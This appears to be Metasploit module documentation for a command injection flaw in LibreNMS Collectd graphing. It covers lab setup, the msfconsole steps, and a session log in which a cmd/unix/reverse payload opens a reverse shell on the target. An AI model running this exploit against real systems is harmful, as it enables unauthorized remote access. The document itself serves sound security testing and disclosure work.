## Description

  A command injection vulnerability exists in LibreNMS versions prior to `v1.50.1`.

  The injection vulnerability affects the Collectd graphing functionality. Specifically, the `to` and
  `from` parameters used in the range for graphing are sanitized with the `mysqli_escape_real_string()`
  which ignores certain characters, including backticks. These improperly sanitized parameters are then
  used in a shell command that gets executed via the `passthru()` function.

  This module has been tested on LibreNMS `v1.46` and `v.1.50`.

## Vulnerable Application

  A vulnerable version of LibreNMS (v1.50) in the form of an OVA can be downloaded [here](https://github.com/librenms/packer-builds/releases/tag/1.50).

  Login credentials can be found on the official LibreNMS [site](https://docs.librenms.org/Installation/Images/).

  Collectd will need to be set up with LibreNMS for this exploit to work. These instructions
  are for the Ubuntu OVA.
  
  ```sudo apt-get install collectd```

  Open the Collectd config file `/etc/collectd/collectd.conf`
  and uncomment the global options for the `Hostname` and `BaseDir`.
  Next, uncomment the lines for the cpu plugin.
  The plugin should look similar to this:

  ```
  <Plugin cpu>
    ReportByCpu true
    ReportByState true
    ValuesPercentage false
  </Plugin>
  ```

  Next, find the `rrdtool` plugin and ensure it looks like this:

  ```
  <Plugin rrdtool>
     DataDir "/var/lib/collectd/rrd"
     CacheTimeout 120
     CacheFlush   900
  </Plugin>
  ```

  Save and exit

  Now open `/etc/collectd/collectd.conf.d/rrdtool.conf` and add

  ```
  LoadPlugin rrdtool
  <Plugin rrdtool>
    DataDir "/var/lib/collectd/rrd"
    CacheTimeout 120
    CacheFlush   900
  </Plugin>
  ```

  Save and exit, then restart the Collectd service:

  ```sudo systemctl restart collectd```

  Lastly, add these two lines to the LibreNMS config file,
  `/opt/librenms/config.php`:

  ```
  $config['collectd_dir']                 = '/var/lib/collectd/rrd';
  $config['collectd_sock']                 = 'unix:///var/run/collectd.sock';
  ```

  Now save and exit.

  You can verify that Collectd is set up with LibreNMS by viewing the
  `localhost` device in LibreNMS and noting that there should be a Collectd
  tab on the device's main page.

## Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: ```use exploit/linux/http/librenms_collectd_cmd_inject```
  4. Do: ```set RHOSTS <ip>```
  5. Do: ```set USERNAME <user>```
  6. Do: ```set PASSWORD <pass>```
  7. Do: ```run```
  8. You should get a shell.

## Scenarios

### Tested on LibreNMS `v1.46`

  ```
  msf5 > use exploit/linux/http/librenms_collectd_cmd_inject 
  msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set rhosts 192.168.37.133
  rhosts => 192.168.37.133
  msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set username blah
  username => blah
  msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set password password
  password => password
  msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set payload cmd/unix/reverse
  payload => cmd/unix/reverse
  msf5 exploit(linux/http/librenms_collectd_cmd_inject) > set lhost 192.168.37.1
  lhost => 192.168.37.1
  msf5 exploit(linux/http/librenms_collectd_cmd_inject) > check
  [*] 192.168.37.133:80 - The target service is running, but could not be validated.
  msf5 exploit(linux/http/librenms_collectd_cmd_inject) > run

  [*] Started reverse TCP double handler on 192.168.37.1:4444 
  [*] Successfully logged into LibreNMS. Storing credentials...
  [*] LibreNMS version: 1.46
  [*] Sending payload via device 122
  [*] Accepted the first client connection...
  [*] Accepted the second client connection...
  [*] Command: echo 67Fk9T3DyODcIsbL;
  [*] Writing to socket A
  [*] Writing to socket B
  [*] Reading from sockets...
  [*] Reading from socket A
  [*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\n67Fk9T3DyODcIsbL\r\n"
  [*] Matching...
  [*] B is input...
  [*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.133:50462) at 2019-08-12 15:43:16 -0500

  whoami
  www-data
  uname -a
  Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  ```
